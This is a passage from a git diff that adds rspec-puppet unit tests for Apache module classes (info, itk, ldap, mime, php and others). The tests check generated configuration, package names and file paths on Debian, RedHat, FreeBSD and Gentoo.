=> 'Gentoo', + :operatingsystem => 'Gentoo', + :operatingsystemrelease => '3.16.1-gentoo', + :concat_basedir => '/dne', + :id => 'root', + :kernel => 'Linux', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/opt/bin', + :is_pe => false, + } + end + + it { is_expected.to contain_class("apache::params") } + it { is_expected.to contain_apache__mod('fcgid').with({ + 'loadfile_name' => nil, + }) } + it { is_expected.to contain_package("www-apache/mod_fcgid") } + end +end diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/mod/info_spec.rb b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/mod/info_spec.rb new file mode 100644 index 000000000..766a9e4fd --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/mod/info_spec.rb @@ -0,0 +1,222 @@ +require 'spec_helper' + +# This function is called inside the OS specific contexts +def general_info_specs_22 + it { is_expected.to contain_apache__mod('info') } + + context 'passing no parameters' do + it { + is_expected.to contain_file('info.conf').with_content( + "\n"\ + " SetHandler server-info\n"\ + " Order deny,allow\n"\ + " Deny from all\n"\ + " Allow from 127.0.0.1\n"\ + " Allow from ::1\n"\ + "\n" + ) + } + end + context 'passing restrict_access => false' do + let :params do { + :restrict_access => false + } + end + it { + is_expected.to contain_file('info.conf').with_content( + "\n"\ + " SetHandler server-info\n"\ + "\n" + ) + } + end + context "passing allow_from => ['10.10.1.2', '192.168.1.2', '127.0.0.1']" do + let :params do + {:allow_from => ['10.10.1.2', '192.168.1.2', '127.0.0.1']} + end + it { + is_expected.to contain_file('info.conf').with_content( + "\n"\ + " SetHandler server-info\n"\ + " Order deny,allow\n"\ + " Deny from all\n"\ + " Allow from 10.10.1.2\n"\ + " Allow from 192.168.1.2\n"\ + " Allow from 127.0.0.1\n"\ + "\n" + ) + } + end + context 'passing both restrict_access and allow_from' do + let :params do + { + :restrict_access => false, + :allow_from => ['10.10.1.2', '192.168.1.2', '127.0.0.1'] + } + end + it { + is_expected.to contain_file('info.conf').with_content( + "\n"\ + " SetHandler server-info\n"\ + "\n" + ) + } + end +end + +def general_info_specs_24 + it { is_expected.to contain_apache__mod('info') } + + context 'passing no parameters' do + it { + is_expected.to contain_file('info.conf').with_content( + "\n"\ + " SetHandler server-info\n"\ + " Require ip 127.0.0.1 ::1\n"\ + "\n" + ) + } + end + context 'passing restrict_access => false' do + let :params do { + :restrict_access => false + } + end + it { + is_expected.to contain_file('info.conf').with_content( + "\n"\ + " SetHandler server-info\n"\ + "\n" + ) + } + end + context "passing allow_from => ['10.10.1.2', '192.168.1.2', '127.0.0.1']" do + let :params do + {:allow_from => ['10.10.1.2', '192.168.1.2', '127.0.0.1']} + end + it { + is_expected.to contain_file('info.conf').with_content( + "\n"\ + " SetHandler server-info\n"\ + " Require ip 10.10.1.2 192.168.1.2 127.0.0.1\n"\ + "\n" + ) + } + end + context 'passing both restrict_access and allow_from' do + let :params do + { + :restrict_access => false, + :allow_from => ['10.10.1.2', '192.168.1.2', '127.0.0.1'] + } + end + it { + is_expected.to contain_file('info.conf').with_content( + "\n"\ + " SetHandler server-info\n"\ + "\n" + ) + } + end +end + +describe 'apache::mod::info', :type => :class do + it_behaves_like "a mod class, without including apache" + + context 'On a Debian OS' do + let :facts do + { + :osfamily => 'Debian', + :operatingsystemrelease => '6', + :concat_basedir => '/dne', + :lsbdistcodename => 'squeeze', + :operatingsystem => 'Debian', + :id => 'root', + :kernel => 'Linux', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :is_pe => false, + } + end + + # Load the more generic tests for this context + general_info_specs_22() + + it { is_expected.to contain_file('info.conf').with({ + :ensure => 'file', + :path => '/etc/apache2/mods-available/info.conf', + } ) } + it { is_expected.to contain_file('info.conf symlink').with({ + :ensure => 'link', + :path => '/etc/apache2/mods-enabled/info.conf', + } ) } + end + + context 'on a RedHat OS' do + let :facts do + { + :osfamily => 'RedHat', + :operatingsystemrelease => '6', + :concat_basedir => '/dne', + :operatingsystem => 'RedHat', + :id => 'root', + :kernel => 'Linux', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :is_pe => false, + } + end + + # Load the more generic tests for this context + general_info_specs_22() + + it { is_expected.to contain_file('info.conf').with({ + :ensure => 'file', + :path => '/etc/httpd/conf.d/info.conf', + } ) } + end + + context 'on a FreeBSD OS' do + let :facts do + { + :osfamily => 'FreeBSD', + :operatingsystemrelease => '10', + :concat_basedir => '/dne', + :operatingsystem => 'FreeBSD', + :id => 'root', + :kernel => 'FreeBSD', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :is_pe => false, + } + end + + # Load the more generic tests for this context + general_info_specs_24() + + it { is_expected.to contain_file('info.conf').with({ + :ensure => 'file', + :path => '/usr/local/etc/apache24/Modules/info.conf', + } ) } + end + + context 'on a Gentoo OS' do + let :facts do + { + :osfamily => 'Gentoo', + :operatingsystem => 'Gentoo', + :operatingsystemrelease => '3.16.1-gentoo', + :concat_basedir => '/dne', + :id => 'root', + :kernel => 'Linux', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/opt/bin', + :is_pe => false, + } + end + + # Load the more generic tests for this context + general_info_specs_24() + + it { is_expected.to contain_file('info.conf').with({ + :ensure => 'file', + :path => '/etc/apache2/modules.d/info.conf', + } ) } + end +end diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/mod/itk_spec.rb b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/mod/itk_spec.rb new file mode 100644 index 000000000..27369f144 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/mod/itk_spec.rb @@ -0,0 +1,130 @@ +require 'spec_helper' + +describe 'apache::mod::itk', :type => :class do + let :pre_condition do + 'class { "apache": mpm_module => false, }' + end + context "on a Debian OS" do + let :facts do + { + :osfamily => 'Debian', + :operatingsystemrelease => '6', + :concat_basedir => '/dne', + :lsbdistcodename => 'squeeze', + :operatingsystem => 'Debian', + :id => 'root', + :kernel => 'Linux', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :is_pe => false, + } + end + it { is_expected.to contain_class("apache::params") } + it { is_expected.not_to contain_apache__mod('itk') } + it { is_expected.to contain_file("/etc/apache2/mods-available/itk.conf").with_ensure('file') } + it { is_expected.to contain_file("/etc/apache2/mods-enabled/itk.conf").with_ensure('link') } + + context "with Apache version < 2.4" do + let :params do + { + :apache_version => '2.2', + } + end + + it { is_expected.not_to contain_file("/etc/apache2/mods-available/itk.load") } + it { is_expected.not_to contain_file("/etc/apache2/mods-enabled/itk.load") } + + it { is_expected.to contain_package("apache2-mpm-itk") } + end + + context "with Apache version >= 2.4" do + let :pre_condition do + 'class { "apache": mpm_module => prefork, }' + end + + let :params do + { + :apache_version => '2.4', + } + end + + it { is_expected.to contain_file("/etc/apache2/mods-available/itk.load").with({ + 'ensure' => 'file', + 'content' => "LoadModule mpm_itk_module /usr/lib/apache2/modules/mod_mpm_itk.so\n" + }) + } + it { is_expected.to contain_file("/etc/apache2/mods-enabled/itk.load").with_ensure('link') } + end + end + context "on a RedHat OS" do + let :facts do + { + :osfamily => 'RedHat', + :operatingsystemrelease => '6', + :concat_basedir => '/dne', + :operatingsystem => 'RedHat', + :id => 'root', + :kernel => 'Linux', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :is_pe => false, + } + end + it { is_expected.to contain_class("apache::params") } + it { is_expected.not_to contain_apache__mod('itk') } + it { is_expected.to contain_file("/etc/httpd/conf.d/itk.conf").with_ensure('file') } + it { is_expected.to contain_package("httpd-itk") } + + context "with Apache version < 2.4" do + let :params do + { + :apache_version => '2.2', + } + end + + it { is_expected.to contain_file_line("/etc/sysconfig/httpd itk enable").with({ + 'require' => 'Package[httpd]', + }) + } + end + + context "with Apache version >= 2.4" do + let :pre_condition do + 'class { "apache": mpm_module => prefork, }' + end + + let :params do + { + :apache_version => '2.4', + } + end + + it { is_expected.to contain_file("/etc/httpd/conf.d/itk.load").with({ + 'ensure' => 'file', + 'content' => "LoadModule mpm_itk_module modules/mod_mpm_itk.so\n" + }) + } + end + end + context "on a FreeBSD OS" do + let :pre_condition do + 'class { "apache": mpm_module => false, }' + end + + let :facts do + { + :osfamily => 'FreeBSD', + :operatingsystemrelease => '10', + :concat_basedir => '/dne', + :operatingsystem => 'FreeBSD', + :id => 'root', + :kernel => 'FreeBSD', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :is_pe => false, + :mpm_module => 'itk', + } + end + it { is_expected.to contain_class("apache::params") } + it { is_expected.not_to contain_apache__mod('itk') } + it { is_expected.to contain_file("/usr/local/etc/apache24/Modules/itk.conf").with_ensure('file') } + it { is_expected.to contain_package("www/mod_mpm_itk") } + end +end diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/mod/ldap_spec.rb b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/mod/ldap_spec.rb new file mode 100644 index 000000000..73c51adf2 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/mod/ldap_spec.rb @@ -0,0 +1,86 @@ +require 'spec_helper' + +describe 'apache::mod::ldap', :type => :class do + it_behaves_like "a mod class, without including apache" + + context "on a Debian OS" do + let :facts do + { + :lsbdistcodename => 'squeeze', + :osfamily => 'Debian', + :operatingsystemrelease => '6', + :concat_basedir => '/dne', + :id => 'root', + :kernel => 'Linux', + :operatingsystem => 'Debian', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :is_pe => false, + } + end + it { is_expected.to contain_class("apache::params") } + it { is_expected.to contain_class("apache::mod::ldap") } + it { is_expected.to contain_apache__mod('ldap') } + + context 'default ldap_trusted_global_cert_file' do + it { is_expected.to contain_file('ldap.conf').without_content(/^LDAPTrustedGlobalCert/) } + end + + context 'ldap_trusted_global_cert_file param' do + let(:params) { { :ldap_trusted_global_cert_file => 'ca.pem' } } + it { is_expected.to contain_file('ldap.conf').with_content(/^LDAPTrustedGlobalCert CA_BASE64 ca\.pem$/) } + end + + context 'set multiple ldap params' do + let(:params) {{ + :ldap_trusted_global_cert_file => 'ca.pem', + :ldap_trusted_global_cert_type => 'CA_DER', + :ldap_shared_cache_size => '500000', + :ldap_cache_entries => '1024', + :ldap_cache_ttl => '600', + :ldap_opcache_entries => '1024', + :ldap_opcache_ttl => '600' + }} + it { is_expected.to contain_file('ldap.conf').with_content(/^LDAPTrustedGlobalCert CA_DER ca\.pem$/) } + it { is_expected.to contain_file('ldap.conf').with_content(/^LDAPSharedCacheSize 500000$/) } + it { is_expected.to contain_file('ldap.conf').with_content(/^LDAPCacheEntries 1024$/) } + it { is_expected.to contain_file('ldap.conf').with_content(/^LDAPCacheTTL 600$/) } + it { is_expected.to contain_file('ldap.conf').with_content(/^LDAPOpCacheEntries 1024$/) } + it { is_expected.to contain_file('ldap.conf').with_content(/^LDAPOpCacheTTL 600$/) } + end + end #Debian + + context "on a RedHat OS" do + let :facts do + { + :osfamily => 'RedHat', + :operatingsystemrelease => '6', + :concat_basedir => '/dne', + :id => 'root', + :kernel => 'Linux', + :operatingsystem => 'RedHat', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :is_pe => false, + } + end + it { is_expected.to contain_class("apache::params") } + it { is_expected.to contain_class("apache::mod::ldap") } + it { is_expected.to contain_apache__mod('ldap') } + + context 'default ldap_trusted_global_cert_file' do + it { is_expected.to contain_file('ldap.conf').without_content(/^LDAPTrustedGlobalCert/) } + end + + context 'ldap_trusted_global_cert_file param' do + let(:params) { { :ldap_trusted_global_cert_file => 'ca.pem' } } + it { is_expected.to contain_file('ldap.conf').with_content(/^LDAPTrustedGlobalCert CA_BASE64 ca\.pem$/) } + end + + context 'ldap_trusted_global_cert_file and ldap_trusted_global_cert_type params' do + let(:params) {{ + :ldap_trusted_global_cert_file => 'ca.pem', + :ldap_trusted_global_cert_type => 'CA_DER' + }} + it { is_expected.to contain_file('ldap.conf').with_content(/^LDAPTrustedGlobalCert CA_DER ca\.pem$/) } + end + end # Redhat +end diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/mod/mime_magic_spec.rb b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/mod/mime_magic_spec.rb new file mode 100644 index 000000000..cf8f898aa --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/mod/mime_magic_spec.rb @@ -0,0 +1,110 @@ +require 'spec_helper' + +# This function is called inside the OS specific contexts +def general_mime_magic_specs + it { is_expected.to contain_apache__mod("mime_magic") } +end + +describe 'apache::mod::mime_magic', :type => :class do + it_behaves_like "a mod class, without including apache" + + context "On a Debian OS with default params" do + let :facts do + { + :osfamily => 'Debian', + :operatingsystemrelease => '6', + :concat_basedir => '/dne', + :lsbdistcodename => 'squeeze', + :operatingsystem => 'Debian', + :id => 'root', + :kernel => 'Linux', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :is_pe => false, + } + end + + general_mime_magic_specs() + + it do + is_expected.to contain_file("mime_magic.conf").with_content( + "MIMEMagicFile \"/etc/apache2/magic\"\n" + ) + end + + it { is_expected.to contain_file("mime_magic.conf").with({ + :ensure => 'file', + :path => '/etc/apache2/mods-available/mime_magic.conf', + } ) } + it { is_expected.to contain_file("mime_magic.conf symlink").with({ + :ensure => 'link', + :path => '/etc/apache2/mods-enabled/mime_magic.conf', + } ) } + + context "with magic_file => /tmp/Debian_magic" do + let :params do + { :magic_file => "/tmp/Debian_magic" } + end + + it do + is_expected.to contain_file("mime_magic.conf").with_content( + "MIMEMagicFile \"/tmp/Debian_magic\"\n" + ) + end + end + + end + + context "on a RedHat OS with default params" do + let :facts do + { + :osfamily => 'RedHat', + :operatingsystemrelease => '6', + :concat_basedir => '/dne', + :operatingsystem => 'RedHat', + :id => 'root', + :kernel => 'Linux', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :is_pe => false, + } + end + + general_mime_magic_specs() + + it do + is_expected.to contain_file("mime_magic.conf").with_content( + "MIMEMagicFile \"/etc/httpd/conf/magic\"\n" + ) + end + + it { is_expected.to contain_file("mime_magic.conf").with_path("/etc/httpd/conf.d/mime_magic.conf") } + + end + + context "with magic_file => /tmp/magic" do + let :facts do + { + :osfamily => 'Debian', + :operatingsystemrelease => '6', + :concat_basedir => '/dne', + :lsbdistcodename => 'squeeze', + :operatingsystem => 'Debian', + :id => 'root', + :kernel => 'Linux', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :is_pe => false, + } + end + + let :params do + { :magic_file => "/tmp/magic" } + end + + it do + is_expected.to contain_file("mime_magic.conf").with_content( + "MIMEMagicFile \"/tmp/magic\"\n" + ) + end + end + + +end diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/mod/mime_spec.rb b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/mod/mime_spec.rb new file mode 100644 index 000000000..b0675a3c0 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/mod/mime_spec.rb @@ -0,0 +1,52 @@ +require 'spec_helper' + +# This function is called inside the OS specific conte, :compilexts +def general_mime_specs + it { is_expected.to contain_apache__mod("mime") } +end + +describe 'apache::mod::mime', :type => :class do + it_behaves_like "a mod class, without including apache" + + context "On a Debian OS with default params", :compile do + let :facts do + { + :osfamily => 'Debian', + :operatingsystemrelease => '6', + :concat_basedir => '/dne', + :lsbdistcodename => 'squeeze', + :operatingsystem => 'Debian', + :id => 'root', + :kernel => 'Linux', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :is_pe => false, + } + end + + general_mime_specs() + + it { is_expected.to contain_file("mime.conf").with_path('/etc/apache2/mods-available/mime.conf') } + + end + + context "on a RedHat OS with default params", :compile do + let :facts do + { + :osfamily => 'RedHat', + :operatingsystemrelease => '6', + :concat_basedir => '/dne', + :operatingsystem => 'RedHat', + :id => 'root', + :kernel => 'Linux', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :is_pe => false, + } + end + + general_mime_specs() + + it { is_expected.to contain_file("mime.conf").with_path("/etc/httpd/conf.d/mime.conf") } + + end + +end diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/mod/negotiation_spec.rb b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/mod/negotiation_spec.rb new file mode 100644 index 000000000..9dadb7651 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/mod/negotiation_spec.rb @@ -0,0 +1,56 @@ +require 'spec_helper' + +describe 'apache::mod::negotiation', :type => :class do + it_behaves_like "a mod class, without including apache" + describe "OS independent tests" do + let :facts do + { + :osfamily => 'Debian', + :operatingsystem => 'Debian', + :kernel => 'Linux', + :lsbdistcodename => 'squeeze', + :operatingsystemrelease => '6', + :concat_basedir => '/dne', + :id => 'root', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :is_pe => false, + } + end + + context "default params" do + it { should contain_class("apache") } + it do + should contain_file('negotiation.conf').with( { + :ensure => 'file', + :content => 'LanguagePriority en ca cs da de el eo es et fr he hr it ja ko ltz nl nn no pl pt pt-BR ru sv zh-CN zh-TW +ForceLanguagePriority Prefer Fallback +', + } ) + end + end + + context 'with force_language_priority parameter' do + let :params do + { :force_language_priority => 'Prefer' } + end + it do + should contain_file('negotiation.conf').with( { + :ensure => 'file', + :content => /^ForceLanguagePriority Prefer$/, + } ) + end + end + + context 'with language_priority parameter' do + let :params do + { :language_priority => [ 'en', 'es' ] } + end + it do + should contain_file('negotiation.conf').with( { + :ensure => 'file', + :content => /^LanguagePriority en es$/, + } ) + end + end + end +end diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/mod/pagespeed_spec.rb b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/mod/pagespeed_spec.rb new file mode 100644 index 000000000..2cbc3d170 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/mod/pagespeed_spec.rb @@ -0,0 +1,51 @@ +require 'spec_helper' + +describe 'apache::mod::pagespeed', :type => :class do + context "on a Debian OS" do + let :facts do + { + :osfamily => 'Debian', + :operatingsystemrelease => '6', + :concat_basedir => '/dne', + :lsbdistcodename => 'squeeze', + :operatingsystem => 'Debian', + :id => 'root', + :kernel => 'Linux', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :is_pe => false, + } + end + it { is_expected.to contain_class("apache::params") } + it { is_expected.to contain_apache__mod('pagespeed') } + it { is_expected.to contain_package("mod-pagespeed-stable") } + + context "when setting additional_configuration to a Hash" do + let :params do { :additional_configuration => { 'Key' => 'Value' } } end + it { is_expected.to contain_file('pagespeed.conf').with_content /Key Value/ } + end + + context "when setting additional_configuration to an Array" do + let :params do { :additional_configuration => [ 'Key Value' ] } end + it { is_expected.to contain_file('pagespeed.conf').with_content /Key Value/ } + end + end + + context "on a RedHat OS" do + let :facts do + { + :osfamily => 'RedHat', + :operatingsystemrelease => '6', + :concat_basedir => '/dne', + :operatingsystem => 'RedHat', + :id => 'root', + :kernel => 'Linux', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :is_pe => false, + } + end + it { is_expected.to contain_class("apache::params") } + it { is_expected.to contain_apache__mod('pagespeed') } + it { is_expected.to contain_package("mod-pagespeed-stable") } + it { is_expected.to contain_file('pagespeed.conf') } + end +end diff --git a/modules/services/unix/http/apache/spec/classes/mod/passenger_spec.rb b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/mod/passenger_spec.rb similarity index 100% rename from modules/services/unix/http/apache/spec/classes/mod/passenger_spec.rb rename to modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/mod/passenger_spec.rb diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/mod/perl_spec.rb b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/mod/perl_spec.rb new file mode 100644 index 000000000..f5b61fe0c --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/mod/perl_spec.rb @@ -0,0 +1,74 @@ +require 'spec_helper' + +describe 'apache::mod::perl', :type => :class do + it_behaves_like "a mod class, without including apache" + context "on a Debian OS" do + let :facts do + { + :osfamily => 'Debian', + :operatingsystemrelease => '6', + :concat_basedir => '/dne', + :lsbdistcodename => 'squeeze', + :operatingsystem => 'Debian', + :id => 'root', + :kernel => 'Linux', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :is_pe => false, + } + end + it { is_expected.to contain_class("apache::params") } + it { is_expected.to contain_apache__mod('perl') } + it { is_expected.to contain_package("libapache2-mod-perl2") } + end + context "on a RedHat OS" do + let :facts do + { + :osfamily => 'RedHat', + :operatingsystemrelease => '6', + :concat_basedir => '/dne', + :operatingsystem => 'RedHat', + :id => 'root', + :kernel => 'Linux', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :is_pe => false, + } + end + it { is_expected.to contain_class("apache::params") } + it { is_expected.to contain_apache__mod('perl') } + it { is_expected.to contain_package("mod_perl") } + end + context "on a FreeBSD OS" do + let :facts do + { + :osfamily => 'FreeBSD', + :operatingsystemrelease => '9', + :concat_basedir => '/dne', + :operatingsystem => 'FreeBSD', + :id => 'root', + :kernel => 'FreeBSD', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :is_pe => false, + } + end + it { is_expected.to contain_class("apache::params") } + it { is_expected.to contain_apache__mod('perl') } + it { is_expected.to contain_package("www/mod_perl2") } + end + context "on a Gentoo OS" do + let :facts do + { + :osfamily => 'Gentoo', + :operatingsystemrelease => '3.16.1-gentoo', + :concat_basedir => '/dne', + :operatingsystem => 'Gentoo', + :id => 'root', + :kernel => 'Linux', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/opt/bin', + :is_pe => false, + } + end + it { is_expected.to contain_class("apache::params") } + it { is_expected.to contain_apache__mod('perl') } + it { is_expected.to contain_package("www-apache/mod_perl") } + end +end diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/mod/peruser_spec.rb b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/mod/peruser_spec.rb new file mode 100644 index 000000000..097a36fff --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/mod/peruser_spec.rb @@ -0,0 +1,43 @@ +require 'spec_helper' + +describe 'apache::mod::peruser', :type => :class do + let :pre_condition do + 'class { "apache": mpm_module => false, }' + end + context "on a FreeBSD OS" do + let :facts do + { + :osfamily => 'FreeBSD', + :operatingsystemrelease => '10', + :concat_basedir => '/dne', + :operatingsystem => 'FreeBSD', + :id => 'root', + :kernel => 'FreeBSD', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :is_pe => false, + } + end + it do + expect { + catalogue + }.to raise_error(Puppet::Error, /Unsupported osfamily FreeBSD/) + end + end + context "on a Gentoo OS" do + let :facts do + { + :osfamily => 'Gentoo', + :operatingsystem => 'Gentoo', + :operatingsystemrelease => '3.16.1-gentoo', + :concat_basedir => '/dne', + :id => 'root', + :kernel => 'Linux', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/opt/bin', + :is_pe => false, + } + end + it { is_expected.to contain_class("apache::params") } + it { is_expected.not_to contain_apache__mod('peruser') } + it { is_expected.to contain_file("/etc/apache2/modules.d/peruser.conf").with_ensure('file') } + end +end diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/mod/php_spec.rb b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/mod/php_spec.rb new file mode 100644 index 000000000..ad61e897b --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/mod/php_spec.rb @@ -0,0 +1,319 @@ +require 'spec_helper' + +describe 'apache::mod::php', :type => :class do + describe "on a Debian OS" do + let :facts do + { + :osfamily => 'Debian', + :operatingsystemrelease => '6', + :concat_basedir => '/dne', + :lsbdistcodename => 'squeeze', + :operatingsystem => 'Debian', + :id => 'root', + :kernel => 'Linux', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :is_pe => false, + } + end + context "with mpm_module => prefork" do + let :pre_condition do + 'class { "apache": mpm_module => prefork, }' + end + it { is_expected.to contain_class("apache::params") } + it { is_expected.to contain_class("apache::mod::prefork") } + it { is_expected.to contain_apache__mod('php5') } + it { is_expected.to contain_package("libapache2-mod-php5") } + it { is_expected.to contain_file("php5.load").with( + :content => "LoadModule php5_module /usr/lib/apache2/modules/libphp5.so\n" + ) } + end + context "with mpm_module => itk" do + let :pre_condition do + 'class { "apache": mpm_module => itk, }' + end + it { is_expected.to contain_class("apache::params") } + it { is_expected.to contain_class("apache::mod::itk") } + it { is_expected.to contain_apache__mod('php5') } + it { is_expected.to contain_package("libapache2-mod-php5") } + it { is_expected.to contain_file("php5.load").with( + :content => "LoadModule php5_module /usr/lib/apache2/modules/libphp5.so\n" + ) } + end + context "on jessie" do + let :pre_condition do + 'class { "apache": mpm_module => prefork, }' + end + let(:facts) { super().merge({ + :operatingsystemrelease => '8', + :lsbdistcodename => 'jessie', + }) } + it { is_expected.to contain_file("php5.load").with( + :content => "LoadModule php5_module /usr/lib/apache2/modules/libphp5.so\n" + ) } + end + context "on stretch" do + let :pre_condition do + 'class { "apache": mpm_module => prefork, }' + end + let(:facts) { super().merge({ + :operatingsystemrelease => '9', + :lsbdistcodename => 'stretch', + }) } + it { is_expected.to contain_apache__mod('php7.0') } + it { is_expected.to contain_package("libapache2-mod-php7.0") } + it { is_expected.to contain_file("php7.0.load").with( + :content => "LoadModule php7_module /usr/lib/apache2/modules/libphp7.0.so\n" + ) } + end + end + describe "on a RedHat OS" do + let :facts do + { + :osfamily => 'RedHat', + :operatingsystemrelease => '6', + :concat_basedir => '/dne', + :operatingsystem => 'RedHat', + :id => 'root', + :kernel => 'Linux', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :is_pe => false, + } + end + context "with default params" do + let :pre_condition do + 'class { "apache": }' + end + it { is_expected.to contain_class("apache::params") } + it { is_expected.to contain_apache__mod('php5') } + it { is_expected.to contain_package("php") } + it { is_expected.to contain_file("php5.load").with( + :content => "LoadModule php5_module modules/libphp5.so\n" + ) } + end + context "with alternative package name" do let :pre_condition do + 'class { "apache": }' + end + let :params do + { :package_name => 'php54'} + end + it { is_expected.to contain_package("php54") } + end + context "with alternative path" do let :pre_condition do + 'class { "apache": }' + end + let :params do + { :path => 'alternative-path'} + end + it { is_expected.to contain_file("php5.load").with( + :content => "LoadModule php5_module alternative-path\n" + ) } + end + context "with alternative extensions" do let :pre_condition do + 'class { "apache": }' + end + let :params do + { :extensions => ['.php','.php5']} + end + it { is_expected.to contain_file("php5.conf").with_content(Regexp.new(Regexp.escape(''))) } + end + context "with specific version" do + let :pre_condition do + 'class { "apache": }' + end + let :params do + { :package_ensure => '5.3.13'} + end + it { is_expected.to contain_package("php").with( + :ensure => '5.3.13' + ) } + end + context "with mpm_module => prefork" do + let :pre_condition do + 'class { "apache": mpm_module => prefork, }' + end + it { is_expected.to contain_class("apache::params") } + it { is_expected.to contain_class("apache::mod::prefork") } + it { is_expected.to contain_apache__mod('php5') } + it { is_expected.to contain_package("php") } + it { is_expected.to contain_file("php5.load").with( + :content => "LoadModule php5_module modules/libphp5.so\n" + ) } + end + context "with mpm_module => itk" do + let :pre_condition do + 'class { "apache": mpm_module => itk, }' + end + it { is_expected.to contain_class("apache::params") } + it { is_expected.to contain_class("apache::mod::itk") } + it { is_expected.to contain_apache__mod('php5') } + it { is_expected.to contain_package("php") } + it { is_expected.to contain_file("php5.load").with( + :content => "LoadModule php5_module modules/libphp5.so\n" + ) } + end + end + describe "on a FreeBSD OS" do + let :facts do + { + :osfamily => 'FreeBSD', + :operatingsystemrelease => '10', + :concat_basedir => '/dne', + :operatingsystem => 'FreeBSD', + :id => 'root', + :kernel => 'FreeBSD', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :is_pe => false, + } + end + context "with mpm_module => prefork" do + let :pre_condition do + 'class { "apache": mpm_module => prefork, }' + end + it { is_expected.to contain_class('apache::params') } + it { is_expected.to contain_apache__mod('php5') } + it { is_expected.to contain_package("www/mod_php5") } + it { is_expected.to contain_file('php5.load') } + end + context "with mpm_module => itk" do + let :pre_condition do + 'class { "apache": mpm_module => itk, }' + end + it { is_expected.to contain_class('apache::params') } + it { is_expected.to contain_class('apache::mod::itk') } + it { is_expected.to contain_apache__mod('php5') } + it { is_expected.to contain_package("www/mod_php5") } + it { is_expected.to contain_file('php5.load') } + end + end + describe "on a Gentoo OS" do + let :facts do + { + :osfamily => 'Gentoo', + :operatingsystem => 'Gentoo', + :operatingsystemrelease => '3.16.1-gentoo', + :concat_basedir => '/dne', + :id => 'root', + :kernel => 'Linux', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/opt/bin', + 